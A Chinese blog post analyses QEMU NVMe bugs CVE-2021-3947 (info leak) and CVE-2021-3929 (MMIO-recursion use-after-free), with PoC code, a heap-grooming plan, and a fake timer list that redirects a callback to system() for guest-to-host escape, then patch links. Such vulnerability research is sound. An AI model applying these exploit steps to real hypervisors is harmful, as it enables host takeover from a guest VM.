首页 > 其他分享 >QEMU CVE-2021-3947 和 CVE-2021-3929 漏洞利用分析

QEMU CVE-2021-3947 和 CVE-2021-3929 漏洞利用分析

时间:2023-11-10 17:26:10浏览次数:43  
标签:req addr sq 3929 2021 cq CVE buf nvme

QEMU CVE-2021-3947 和 CVE-2021-3929 漏洞利用分析

  ‍

CVE-2021-3947 信息泄露漏洞

漏洞分析

  漏洞点是 nvme_changed_nslist

static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,
                                    uint64_t off, NvmeRequest *req)
{
    uint32_t nslist[1024];
    uint32_t trans_len;
    int i = 0;
    uint32_t nsid;

    memset(nslist, 0x0, sizeof(nslist));
    // [0] 计算 trans_len
    trans_len = MIN(sizeof(nslist) - off, buf_len);  // bug

    // [1] 传输数据到 guest
    return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);
}

  函数入参 off 和 buf_len 由用户传入, 且 off 没有任何限制,触发漏洞的条件:

  1. 如果 off 大于 1024, 代码 [0] 处就会由于整数溢出,使得 trans_len = buf_len.
  2. 然后在 [1] 处代码会通过 nslist + off 拷贝数据到 guest,由于 off 可控,因此理论上可以实现任意读写 qemu 进程的内存地址空间。

  ‍

利用分析

交互分析

  Guest OS 进程和 nvme 外设的交互如下:

  ​image

  Guest OS 通过 MMIO 向 nvme 外设发起请求,填充请求参数后,通知外设将请求挂到 sq->req_list 链表中,然后启动timer,timer 中调用 nvme_process_sq 从 req_list 取请求并进行处理。

  ‍

  进程提交请求

  总体流程:

  1. 通过 MMIO 设置 NvmeCtrl 结构体中的各个字段
  2. 写 MMIO 触发 nvme_start_ctrl,把请求放到 sq->req_list 链表中
  3. 写 MMIO 触发 nvme_process_db ,触发 nvme_process_sq 的执行
  4. nvme_process_sq 从 sq->req_list 里面取请求并处理

  ‍

   nvme_start_ctrl 的主要代码如下,其中 n->bar 里面的成员可以通过写 MMIO 的相应偏移进行设置.

static int nvme_start_ctrl(NvmeCtrl *n)
{
    uint64_t cap = ldq_le_p(&n->bar.cap);
    uint32_t cc = ldl_le_p(&n->bar.cc);
    uint32_t aqa = ldl_le_p(&n->bar.aqa);
    uint64_t asq = ldq_le_p(&n->bar.asq);
    uint64_t acq = ldq_le_p(&n->bar.acq);
    uint32_t page_bits = NVME_CC_MPS(cc) + 12;
    uint32_t page_size = 1 << page_bits;

    n->page_bits = page_bits;
    n->page_size = page_size;
    n->max_prp_ents = n->page_size / sizeof(uint64_t);
    n->cqe_size = 1 << NVME_CC_IOCQES(cc);
    n->sqe_size = 1 << NVME_CC_IOSQES(cc);
    nvme_init_cq(&n->admin_cq, n, acq, 0, 0, NVME_AQA_ACQS(aqa) + 1, 1);
    nvme_init_sq(&n->admin_sq, n, asq, 0, 0, NVME_AQA_ASQS(aqa) + 1);

  然后会进入 nvme_init_sq 把请求放到 sq->req_list 链表中,并分配一个 timer。

static void nvme_init_sq(NvmeSQueue *sq, NvmeCtrl *n, uint64_t dma_addr,
                         uint16_t sqid, uint16_t cqid, uint16_t size)
{
    int i;
    NvmeCQueue *cq;

    sq->ctrl = n;
    sq->dma_addr = dma_addr;
    sq->sqid = sqid;
    sq->size = size;
    sq->cqid = cqid;
    sq->head = sq->tail = 0;
    sq->io_req = g_new0(NvmeRequest, sq->size);

    QTAILQ_INIT(&sq->req_list);
    QTAILQ_INIT(&sq->out_req_list);
    for (i = 0; i < sq->size; i++) {
        sq->io_req[i].sq = sq;
        QTAILQ_INSERT_TAIL(&(sq->req_list), &sq->io_req[i], entry);
    }
    sq->timer = timer_new_ns(QEMU_CLOCK_VIRTUAL, nvme_process_sq, sq);

    assert(n->cq[cqid]);
    cq = n->cq[cqid];
    QTAILQ_INSERT_TAIL(&(cq->sq_list), sq, entry);
    n->sq[sqid] = sq;
}

  之后 Guest 在写 MMIO 通知 nvme 请求已经构建完成,可以开始处理,外设会进入nvme_process_db,开启 timer,等 timer 超时进入 nvme_process_sq 函数处理.

static void nvme_process_db(NvmeCtrl *n, hwaddr addr, int val)
{
    timer_mod(sq->timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + 500);
}

  ‍

  处理请求

  nvme_process_sq 的主要代码如下

static void nvme_process_sq(void *opaque)
{
    NvmeSQueue *sq = opaque;
    NvmeCtrl *n = sq->ctrl;
    NvmeCQueue *cq = n->cq[sq->cqid];

    uint16_t status;
    hwaddr addr;
    NvmeCmd cmd;
    NvmeRequest *req;

    while (!(nvme_sq_empty(sq) || QTAILQ_EMPTY(&sq->req_list))) {
        addr = sq->dma_addr + sq->head * n->sqe_size;
        nvme_addr_read(n, addr, (void *)&cmd, sizeof(cmd))

        req = QTAILQ_FIRST(&sq->req_list);
        QTAILQ_REMOVE(&sq->req_list, req, entry);
        QTAILQ_INSERT_TAIL(&sq->out_req_list, req, entry);
        nvme_req_clear(req);
        req->cqe.cid = cmd.cid;
        memcpy(&req->cmd, &cmd, sizeof(NvmeCmd));

        status = sq->sqid ? nvme_io_cmd(n, req) :
            nvme_admin_cmd(n, req);
        if (status != NVME_NO_COMPLETE) {
            req->status = status;
            nvme_enqueue_req_completion(cq, req);
        }
    }
}

  函数流程:

  1. 从 sq->req_list 里面取出请求,然后通过 nvme_addr_read 从 Guest 内存 (sq->dma_addr​) 中读取 NvmeCmd cmd
  2. 将其拷贝到 req->cmd,后续会根据 cmd 的数据进行处理.
  3. 然后根据 sq->sqid 决定调用 nvme_io_cmd 或者 nvme_admin_cmd 处理请求
  4. 处理完成后调用 nvme_enqueue_req_completion 重设 timer.

  在 nvme_get_log 中会从 cmd 里面提取值,然后进入漏洞函数 nvme_changed_nslist

static uint16_t nvme_get_log(NvmeCtrl *n, NvmeRequest *req)
{
    NvmeCmd *cmd = &req->cmd;
    uint32_t dw10 = le32_to_cpu(cmd->cdw10);
    uint32_t dw11 = le32_to_cpu(cmd->cdw11);
    uint32_t dw12 = le32_to_cpu(cmd->cdw12);
    uint32_t dw13 = le32_to_cpu(cmd->cdw13);
    uint8_t  lid = dw10 & 0xff;
    uint8_t  lsp = (dw10 >> 8) & 0xf;
    uint8_t  rae = (dw10 >> 15) & 0x1;
    uint8_t  csi = le32_to_cpu(cmd->cdw14) >> 24;
   
    numdl = (dw10 >> 16);
    numdu = (dw11 & 0xffff);
    lpol = dw12;
    lpou = dw13;

    len = (((numdu << 16) | numdl) + 1) << 2;
    off = (lpou << 32ULL) | lpol;

    switch (lid) {
    case NVME_LOG_CHANGED_NSLIST:
        return nvme_changed_nslist(n, rae, len, off, req);
    }
}

  ‍

POC 分析

    uint64_t *leak_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    mlock(leak_buf, PAGE_SIZE);
    memset(leak_buf, 0, PAGE_SIZE);
    void *leak_buf_phys_addr = virt_to_phys(leak_buf);

    NvmeCqe *cqes = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    mlock(cqes, PAGE_SIZE);
    memset(cqes, 0, PAGE_SIZE);
    void *cqes_phys_addr = virt_to_phys(cqes);

    NvmeCmd *cmds = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    mlock(cmds, PAGE_SIZE);
    memset(cmds, 0, PAGE_SIZE);
    void *cmds_phys_addr = virt_to_phys(cmds);
  
    // [0] 填充命令
    cmds[0].opcode = 2;                               /* cmd->opcode, NVME_ADM_CMD_GET_LOG_PAGE, nvme_get_log() */
    cmds[0].dptr.prp1 = (uint64_t)leak_buf_phys_addr; /* prp1, leak_buf */
    cmds[0].cdw10 = 4 + (0x1 << 16);                  /* buf_len =  (0x1+1) << 2 = 8, lid = 4 NVME_LOG_CHANGED_NSLIST, nvme_changed_nslist() */
    uint64_t off = 0x1010;                   /* underflow */
    cmds[0].cdw12 = (uint32_t)off;
    cmds[0].cdw13 = (uint32_t)(off >> 32);
    // [1] 提交命令
    nvme_reset_submit_commands(cqes_phys_addr, cmds_phys_addr, 1);

  主要逻辑:

  1. 通过 mmap 申请两块内存 leak_buf 和 cmds,分别用于存放 nvme 控制器的 响应数据 和 请求命令数据

  2. 往 cmds 里面填充命令

    • dptr.prp1 是 dma 的目的地址,nvme_changed_nslist 会通过 nvme_c2h 把 nslist 的数据写到 leak_buf_phys_addr​ .
    • cdw10 由 buf_len 和 lid 两个字段组合而成,分别用于表示拷贝内存的大小和请求的子类型.
    • cdw12 和 cdw13 用于表示 off值为 0x1010,用于越界.
  3. 通过 nvme_reset_submit_commands 提交请求.

  最后在 nvme_init_sq 中构建的 NvmeCQueue 结构体的成员结构如下:

  ​​image​​

  ‍

  nvme_reset_submit_commands 的代码

void nvme_reset_submit_commands(void *cqes_phys_addr, void *cmds_phys_addr, uint32_t tail)
{
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ, (uint32_t)(uint64_t)cqes_phys_addr); /* cq dma_addr */
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ACQ + 4, (uint32_t)((uint64_t)cqes_phys_addr >> 32));
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ, (uint32_t)(uint64_t)cmds_phys_addr); /* sq dma_addr */
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_ASQ + 4, (uint32_t)((uint64_t)cmds_phys_addr >> 32));
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_AQA, 0x200020);                             /* nvme_init_cq nvme_init_sq size = 32 + 1 */
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, (uint32_t)0);                           /* reset nvme, nvme_ctrl_reset() */
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_CC, (uint32_t)((4 << 20) + (6 << 16) + 1)); /* start nvme, nvme_start_ctrl() */
    mmio_write_l_fn(nvme_mmio_region, NVME_OFFSET_SQyTDBL, tail);                             /* set tail for commands */
}

  通过写相应寄存器,设置 NvmeCtrl​ 里面的字段,比如 ASQ​ 字段为 cmds_phys_addr​,最后写 0x1000 偏移处,通知 nvme 启动定时器(nvme_process_db),然后在 nvme_process_sq 中会从该地址处读取 cmd.

        addr = sq->dma_addr + sq->head * n->sqe_size;
        nvme_addr_read(n, addr, (void *)&cmd, sizeof(cmd))

  最后进入 nvme_changed_nslist 此时 off = 0x1010, trans_len = 8

static uint16_t nvme_changed_nslist(NvmeCtrl *n, uint8_t rae, uint32_t buf_len,
                                    uint64_t off, NvmeRequest *req)
{
    uint32_t nslist[1024];
    uint32_t trans_len;
    int i = 0;
    uint32_t nsid;

    memset(nslist, 0x0, sizeof(nslist));
    // [0] 计算 trans_len
    trans_len = MIN(sizeof(nslist) - off, buf_len);  // bug

    // [1] 传输数据到 guest
    return nvme_c2h(n, ((uint8_t *)nslist) + off, trans_len, req);
}

  因此最后会调用 nvme_c2h 把 nslist + 0x1010 处的 8 字节数据拷贝到 leak_buf_phys_addr 处.

  ​image

  ‍

利用思路

  由于 off 完全可控,因此只要能够通过越界读泄露 nslist 的地址,通过计算就可实现任意地址读.

  当启动 qemu 并指定虚拟机的内存大小为 2G 时,在 QEMU 进程中会 mmap 申请一块 2G 的虚拟内存,该虚拟内存和虚拟机的 RAM 是线性映射.

  ​​image

  通过在 qemu 进程搜索大小为 2G 的映射区可以找到其起始地址

# pmap $(pidof qemu-system-x86_64) | grep 2097152
00007f40dbe00000 2097152K rw---   [ anon ]

  这个地址在堆中有保存,因此可以通过栈越界读,获取堆地址,然后使用任意地址读去堆中搜索得到 Guest RAM 在 Host 侧的起始地址。

  该地址可以用于在 QEMU 侧布置 Payload。

  实际泄露的数据

  1. 泄露 rbp 值然后计算得到 nslist 的地址.
  2. 然后从栈里面找到堆地址,通过 nslist 的地址,计算 off,在 堆里面搜索 Guest RAM 在 QEMU 侧的基地址.
  3. 从栈里面找 qemu 二进制的地址,计算 qemu 的基地址,通过偏移计算 system@plt 的地址.

  ‍

CVE-2021-3929 MMIO 递归导致 UAF 漏洞

  ‍

漏洞分析

  漏洞的成因是在处理 Guest 请求时会使用 nvme_c2h 来把响应数据写到 Guest 的内存地址空间,而如果 Guest 将要写入的物理地址设置为 nvme 的 MMIO 空间时,通过写 MMIO 触发 nvme_ctrl_reset 函数释放 cq->timer ,等 nvme_c2h 返回,后面在 nvme_process_sq 函数中会再次使用已经释放的 cq->timer 从而导致 UAF。

  以 nvme_changed_nslist 为例,触发 UAF 的路径如下:

  ​image

  流程介绍:

  1. 首先 Guest 通过写 nvme 的 mmio 空间向 nvme 外设提交 请求,并设置请求的 dma_addr 为 nvme 的 MMIO 区域.
  2. 外设进入 nvme_process_sq 取得请求并进入 nvme_admin_cmd 进行处理
  3. nvme_admin_cmd 调用 nvme_changed_nslist 进行处理,最后调用 nvme_c2h 把数据写到 Guest 的物理地址,即写入到 nvme 的 mmio 区域.
  4. 由于写入了 mmio 会触发 nvme 的 mmio 回调,通过控制写入的 offet 和 值让外设执行 nvme_ctrl_rest 释放 cq->timer.
  5. nvme_c2h 执行完毕返回,最后程序会逐层返回到 nvme_process_sq ,之后会执行 nvme_enqueue_req_completion 使用上一步已经释放的 cq->timer

  ‍

  下面再结合具体代码进行展开

  漏洞触发路径

nvme_process_sq -> nvme_admin_cmd -> nvme_get_log -> nvme_changed_nslist -> nvme_c2h

  nvme_c2h 首先使用 nvme_map_dptr 从 cmd.dptr 参数中提取出需要写入的物理内存地址,然后调用 nvme_tx 写入物理内存

static inline uint16_t nvme_c2h(NvmeCtrl *n, uint8_t *ptr, uint32_t len,
                                NvmeRequest *req)
{
    uint16_t status;
    status = nvme_map_dptr(n, &req->sg, len, &req->cmd);
    return nvme_tx(n, &req->sg, ptr, len, NVME_TX_DIRECTION_FROM_DEVICE);
}

  nvme_tx 会根据 dir 参数来决定往 guest 的物理地址读或者写数据.

static uint16_t nvme_tx(NvmeCtrl *n, NvmeSg *sg, uint8_t *ptr, uint32_t len,
                        NvmeTxDirection dir)
{
    assert(sg->flags & NVME_SG_ALLOC);

    if (sg->flags & NVME_SG_DMA) {
        uint64_t residual;

        if (dir == NVME_TX_DIRECTION_TO_DEVICE) {
            residual = dma_buf_write(ptr, len, &sg->qsg);
        } else {
            residual = dma_buf_read(ptr, len, &sg->qsg);
        }

        if (unlikely(residual)) {
            return NVME_INVALID_FIELD | NVME_DNR;
        }
    }
    return NVME_SUCCESS;
}

  dma_buf_write 和 dma_buf_read 最后会调用 address_space_rw 完成读写.

dma_buf_read --> dma_buf_rw --> dma_memory_rw --> dma_memory_rw_relaxed --> address_space_rw --> address_space_write
dma_buf_write --> dma_buf_rw --> dma_memory_rw --> dma_memory_rw_relaxed --> address_space_rw --> address_space_read_full

  address_space_rw 在读写内存时,如果目标物理地址为 MMIO 地址就会触发 MMIO 的回调.

  当 guest 控制 dma 的目的地址为 nvme 的 mmio ,让其进入 nvme_write_bar --> nvme_ctrl_reset --> nvme_free_cq​ ,就会释放 cq->timer.

static void nvme_free_cq(NvmeCQueue *cq, NvmeCtrl *n)
{
    timer_free(cq->timer);
}

static void nvme_ctrl_reset(NvmeCtrl *n)
{
    for (i = 0; i < n->params.max_ioqpairs + 1; i++) {
        if (n->cq[i] != NULL) {
            nvme_free_cq(n->cq[i], n);
        }
    }
}

static void nvme_write_bar(NvmeCtrl *n, hwaddr offset, uint64_t data, unsigned size)
{
    case NVME_REG_CC:
        nvme_ctrl_reset(n);

  利用 nvme_c2h 触发 nvme_ctrl_reset 时的调用栈:

gef➤  bt
#0  nvme_ctrl_reset (n=0x55c5cd610dc0) at ../hw/nvme/ctrl.c:5543
#1  0x000055c5cbb422e9 in nvme_write_bar (n=0x55c5cd610dc0, offset=0x14, data=0x0, size=0x4) at ../hw/nvme/ctrl.c:5808
#2  0x000055c5cbb430ad in nvme_mmio_write (opaque=0x55c5cd610dc0, addr=0x14, data=0x0, size=0x4) at ../hw/nvme/ctrl.c:6158
#3  0x000055c5cbde0464 in memory_region_write_accessor (mr=0x55c5cd611820, addr=0x14, value=0x7ffe638c97a8, size=0x4, shift=0x0, mask=0xffffffff, attrs=...) at ../softmmu/memory.c:492
#4  0x000055c5cbde06ae in access_with_adjusted_size (addr=0x14, value=0x7ffe638c97a8, size=0x4, access_size_min=0x2, access_size_max=0x8, access_fn=0x55c5cbde0368 <memory_region_write_accessor>, mr=0x55c5cd611820, attrs=...) at ../softmmu/memory.c:554
#5  0x000055c5cbde36b6 in memory_region_dispatch_write (mr=0x55c5cd611820, addr=0x14, data=0x0, op=MO_32, attrs=...) at ../softmmu/memory.c:1504
#6  0x000055c5cbe31a62 in flatview_write_continue (fv=0x7f181003e3d0, addr=0xf4094014, attrs=..., ptr=0x7f1823669000, len=0xfec, addr1=0x14, l=0x4, mr=0x55c5cd611820) at ../softmmu/physmem.c:2777
#7  0x000055c5cbe31ba7 in flatview_write (fv=0x7f181003e3d0, addr=0xf4094000, attrs=..., buf=0x7f1823669000, len=0x1000) at ../softmmu/physmem.c:2817
#8  0x000055c5cbe31f11 in address_space_write (as=0x55c5cd610fe8, addr=0xf4094000, attrs=..., buf=0x7f1823669000, len=0x1000) at ../softmmu/physmem.c:2909
#9  0x000055c5cbe31f7e in address_space_rw (as=0x55c5cd610fe8, addr=0xf4094000, attrs=..., buf=0x7f1823669000, len=0x1000, is_write=0x1) at ../softmmu/physmem.c:2919
#10 0x000055c5cba3ef09 in dma_memory_rw_relaxed (as=0x55c5cd610fe8, addr=0xf4094000, buf=0x7f1823669000, len=0x1000, dir=DMA_DIRECTION_FROM_DEVICE) at /home/kali/qemu-exp/CVE-2021-3929-3947/qemu-6.1.0/include/sysemu/dma.h:88
#11 0x000055c5cba3ef56 in dma_memory_rw (as=0x55c5cd610fe8, addr=0xf4094000, buf=0x7f1823669000, len=0x1000, dir=DMA_DIRECTION_FROM_DEVICE) at /home/kali/qemu-exp/CVE-2021-3929-3947/qemu-6.1.0/include/sysemu/dma.h:127
#12 0x000055c5cba402ea in dma_buf_rw (ptr=0x7f1823669000 "", len=0x2000, sg=0x7f1810017ac8, dir=DMA_DIRECTION_FROM_DEVICE) at ../softmmu/dma-helpers.c:309
#13 0x000055c5cba4033d in dma_buf_read (ptr=0x7f1823668000 "", len=0x3000, sg=0x7f1810017ac8) at ../softmmu/dma-helpers.c:320
#14 0x000055c5cbb36a4c in nvme_tx (n=0x55c5cd610dc0, sg=0x7f1810017ac0, ptr=0x7f1823668000 "", len=0x3000, dir=NVME_TX_DIRECTION_FROM_DEVICE) at ../hw/nvme/ctrl.c:1154
#15 0x000055c5cbb36b4d in nvme_c2h (n=0x55c5cd610dc0, ptr=0x7f1823668000 "", len=0x3000, req=0x7f1810017a30) at ../hw/nvme/ctrl.c:1189
#16 0x000055c5cbb3dfc6 in nvme_changed_nslist (n=0x55c5cd610dc0, rae=0x0, buf_len=0x3000, off=0xffffff19bfd9e4c0, req=0x7f1810017a30) at ../hw/nvme/ctrl.c:4198
#17 0x000055c5cbb3e3c3 in nvme_get_log (n=0x55c5cd610dc0, req=0x7f1810017a30) at ../hw/nvme/ctrl.c:4285
#18 0x000055c5cbb4125d in nvme_admin_cmd (n=0x55c5cd610dc0, req=0x7f1810017a30) at ../hw/nvme/ctrl.c:5475
#19 0x000055c5cbb415c6 in nvme_process_sq (opaque=0x55c5cd6145b8) at ../hw/nvme/ctrl.c:5530
#20 0x000055c5cc0533e3 in timerlist_run_timers (timer_list=0x55c5cc836bf0) at ../util/qemu-timer.c:573
#21 0x000055c5cc053485 in qemu_clock_run_timers (type=QEMU_CLOCK_VIRTUAL) at ../util/qemu-timer.c:587
#22 0x000055c5cc05375a in qemu_clock_run_all_timers () at ../util/qemu-timer.c:669
#23 0x000055c5cc049f8e in main_loop_wait (nonblocking=0x0) at ../util/main-loop.c:542
#24 0x000055c5cbe9bac0 in qemu_main_loop () at ../softmmu/runstate.c:726
#25 0x000055c5cb9b3612 in nvme_process_sq (argc=0x21, argv=0x7ffe638caf18, envp=0x7ffe638cb028) at ../softmmu/main.c:50

  当 nvme_changed_nslist 返回到 nvme_process_sq 时会调用 nvme_enqueue_req_completion.

        status = sq->sqid ? nvme_io_cmd(n, req) :
            nvme_admin_cmd(n, req);
        if (status != NVME_NO_COMPLETE) {
            req->status = status;
            nvme_enqueue_req_completion(cq, req);
        }
    }

  nvme_enqueue_req_completion 会使用 已经被释放的 cq->timer

static void nvme_enqueue_req_completion(NvmeCQueue *cq, NvmeRequest *req)
{
    timer_mod(cq->timer, qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL) + 500);
}

  ‍

利用分析

  我们只要能够在释放和重用之间重新占位 cq->timer 就可控制PC ( timer->timer_list 里面有函数指针 )

struct QEMUTimer {
    int64_t expire_time;        /* in nanoseconds */
    QEMUTimerList *timer_list;
    QEMUTimerCB *cb;
    void *opaque;
    QEMUTimer *next;
    int attributes;
    int scale;
};

  ​intel_hda_mmio_write --> intel_hda_set_st_ctl --> intel_hda_parse_bdl​ 中会申请内存且申请的大小可控和后续填入的内容均可控:

static void intel_hda_parse_bdl(IntelHDAState *d, IntelHDAStream *st)
{
    hwaddr addr;
    uint8_t buf[16];
    uint32_t i;

    addr = intel_hda_addr(st->bdlp_lbase, st->bdlp_ubase);
    st->bentries = st->lvi +1;
    g_free(st->bpl);
    st->bpl = g_malloc(sizeof(bpl) * st->bentries);
    for (i = 0; i < st->bentries; i++, addr += 16) {
        pci_dma_read(&d->pci, addr, buf, 16);
        st->bpl[i].addr  = le64_to_cpu(*(uint64_t *)buf);
        st->bpl[i].len   = le32_to_cpu(*(uint32_t *)(buf + 8));
        st->bpl[i].flags = le32_to_cpu(*(uint32_t *)(buf + 12));
        dprint(d, 1, "bdl/%d: 0x%" PRIx64 " +0x%x, 0x%x\n",
               i, st->bpl[i].addr, st->bpl[i].len, st->bpl[i].flags);
    }

    st->bsize = st->cbl;
    st->lpib  = 0;
    st->be    = 0;
    st->bp    = 0;
}

  首先根据 st->bentries 申请 st->bpl 然后往里面读入数据,其中 st->bentries 和 addr 都由 Guest 通过 MMIO 设置.

  占位的示意图如下

  ​image

  主要区别就是通过设置 cmd.dptr 成员,让 nvme_c2h 一次执行多个 dma_buf_rw :

  1. 3~4 第一次​写 nvme 的 mmio 释放 cq->timer​
  2. 5~6 第二次写 hda 的 mmio 进入 intel_hda_parse_bdl 调用 malloc 占位 cq->timer,并控制其中的值.

  ‍

  具体的利用思路:

  1. 利用信息泄露获取到 Guest RAM 在 QEMU 进程的地址 host_guest_ram_address​ 、system@plt 地址

  2. host_guest_ram_address​ 里面找一个地址 host_guest_cq_timerlist_buf_address​,在里面伪造 timer_list

  3. 通过写 hda IN1-IN3 CTL 的 mmio,分配 3 个 0x30 的块,这样 tcache就会由三个空位,后续释放 cq->timer 就会进入 tcache.

    • 调试过程中发现 tcache 以满,所以释放的 timer 会进入 smallbin ,而 intel_hda_parse_bdl 会从 tcache 里面取内存块,将无法占位.
  4. 触发 nvme_ctrl_rest 释放 cq->timer

  5. 利用 intel_hda_parse_bdl 占位 timer,并劫持 timer>timer_list = host_guest_cq_timerlist_buf_address​ .

  6. 等待 timer_list->notify_cb(timer_list->notify_opaque, timer_list->clock->type) 执行.

  篡改后的 timer 的结构如下

  ​​image​​

  exp 中伪造 cq_timerlist_buf 的代码如下:

/* Construct fake timer and timerlist */
uint64_t construct_timer(uint64_t host_guest_ram_address)
{
    QEMUTimer *cq_timer_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    mlock(cq_timer_buf, PAGE_SIZE);
    memset(cq_timer_buf, 0, PAGE_SIZE);
    void *cq_timer_buf_phys_addr = virt_to_phys(cq_timer_buf);

    QEMUTimerList *cq_timerlist_buf = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0);
    mlock(cq_timerlist_buf, PAGE_SIZE);
    memset(cq_timerlist_buf, 0, PAGE_SIZE);
    void *cq_timerlist_buf_phys_addr = virt_to_phys(cq_timerlist_buf);

    uint64_t cq_timerlist_buf_ram_offset = (uint64_t)cq_timerlist_buf_phys_addr; /* will be - 0x100000000 + 0x80000000 with bigger RAM */
    uint64_t host_guest_cq_timerlist_buf_address = host_guest_ram_address + cq_timerlist_buf_ram_offset;
    cq_timer_buf->timer_list = (QEMUTimerList *)host_guest_cq_timerlist_buf_address;
    cq_timerlist_buf->active_timers_lock.initialized = true;
    cq_timerlist_buf->active_timers = (QEMUTimer *)NULL;
  
    cq_timerlist_buf->notify_cb = (QEMUTimerListNotifyCB *)(elf_base_address + ELF_SYSTEM_PLT_OFFSET);
    void *command_guest_phys_address = virt_to_phys(command);
    uint64_t command_guest_ram_offset = (uint64_t)command_guest_phys_address;
    cq_timerlist_buf->notify_opaque = (void *)(command_guest_ram_offset + host_guest_ram_address);
    cq_timerlist_buf->clock = (QEMUClock *)((uint8_t *)host_guest_cq_timerlist_buf_address + PAGE_SIZE / 2); /* clock->type, second parameter, all zeros */

    return (uint64_t)cq_timer_buf_phys_addr;
}

  ‍

  ‍

漏洞补丁

  ‍

CVE-2021-3947

  https://gitlab.com/qemu-project/qemu/-/commit/e2c57529c9306e4

  校验 off 的合法性

  ​image

  ‍

CVE-2021-3929

  https://gitlab.com/qemu-project/qemu/-/commit/736b01642d85be832385?view=parallel

  在 nvme_map_addr 里面校验,禁止写 nvme 的 IOMMU 空间.

  ​image

  ‍

  ‍

总结

  • 硬件规范、手册可以辅助分析代码.
  • 提前从tcache里面分配内存,从而实现内存占位.

  ‍

参考地址

  1. https://github.com/QiuhaoLi/CVE-2021-3929-3947
  2. https://qiuhao.org/Matryoshka_Trap.pdf

  ‍

标签:req,addr,sq,3929,2021,cq,CVE,buf,nvme
From: https://www.cnblogs.com/hac425/p/qemu-cve20213947-and-cve20213929-vulnerability-utilizatio

相关文章

  • Kafka JNDI 注入分析(CVE-2023-25194)
    ApacheKafkaClientsJndiInjection漏洞描述ApacheKafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。KafkaConnect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS配置和SASL协议的任意Kafka......
  • P7514 [省选联考 2021 A/B 卷] 卡牌游戏
    [省选联考2021A/B卷]卡牌游戏题目描述Alice有\(n\)张卡牌,第\(i\)(\(1\lei\len\))张卡牌的正面有数字\(a_i\),背面有数字\(b_i\),初始时所有卡牌正面朝上。现在Alice可以将不超过\(m\)张卡牌翻面,即由正面朝上改为背面朝上。Alice的目标是让最终朝上的\(n\)个数......
  • JOISC 2021 Day3 保镖
    Day\(\mathbb{P}_1+\mathbb{P}_2+\mathbb{P}_3+\mathbb{P}_4+\mathbb{P}_5+\mathbb{P}_6\)。放到二维平面上考虑,点\((x,y)\)表示\(x\)时刻在\(y\)位置上,那么第\(i\)顾客的路径可以看成起点为\((t_i,a_i)\),终点为\((t_i+|b_i-a_i|,b_i)\)的线段\(P_i\)。注意到一个......
  • [CSP-J 2021] 小熊的果篮 题解
    题目链接既然只有两种东西,我们不妨分开考虑,这里也借鉴了很多二分图题目的切入点。假设苹果和桔子下标分别如下图所示:苹果:1367910桔子:2458那么第一次取,应该是这样取:1234689也就是先取开头比较小的,然后轮流取,注意一定保证递增,也就是对于苹果找出来的\(x\)......
  • [Python]PIL-CVE-2018-16509 复现
    [Python]PIL-CVE-2018-16509复现这个问题跟上一个差不多。exp:%!PS-Adobe-3.0EPSF-3.0%%BoundingBox:-0-0100100userdict/setpagedeviceundefsavelegal{nullrestore}stopped{pop}if{legal}stopped{pop}ifrestoremark/OutputFile(%pipe%pytho......
  • [Python]PIL-CVE-2017-8291 复现
    [Python]PIL-CVE-2017-8291复现https://github.com/vulhub/vulhub/tree/master/python/PIL-CVE-2017-8291PIL解析eps文件时存在命令注入。可以反弹shellexp:%!PS-Adobe-3.0EPSF-3.0%%BoundingBox:-0-0100100/size_from10000def/size_step500d......
  • Nftables整型溢出(CVE-2023-0179)
    前言Netfilter是一个用于Linux操作系统的网络数据包过滤框架,它提供了一种灵活的方式来管理网络数据包的流动。Netfilter允许系统管理员和开发人员控制数据包在Linux内核中的处理方式,以实现网络安全、网络地址转换(NetworkAddressTranslation,NAT)、数据包过滤等功能。漏洞成因漏......
  • 2021-11-06-周一
    好久不见?你...日记先生对了,,还有你,,好久不见..曾经一直在写日记的邓同学...最近是怎么了?首先,,得坦白,,,最近确实是有点乱...生活中的乱七八糟学习中的乱七八糟面对其它诱惑的乱七八糟比如日夜颠倒的看电视剧,沉迷在金庸笔下的武侠豪情和儿女情长另外axb出题也是结......
  • 【题解】NOIP2021 - 方差
    NOIP2021-方差https://www.luogu.com.cn/problem/P7962想当年我第一次站在noip赛场上,过了T1剩下三题就一题不会了……幸好这题拿了点分水了个一等。观察操作:若对于连续的三个数\(a,b,c\),对\(b\)进行一次操作后就变成了\(a,a+c-b,c\)。求出两个数组的差分数组:\(b-a,c......
  • 20211314王艺达学习笔记8
    Unix/Linux系统编程第五章定时器及时钟服务5.1硬件定时器定时器由时钟源和可编程计数器组成。时钟源会产生周期性电信号。计数器减为0时,计数器向CPU生成一个定时器中断,计数器周期称为定时器刻度,是系统的基本计时单元。5.2个人计时定时器实时时钟(RTC)即使在个人计算机关机......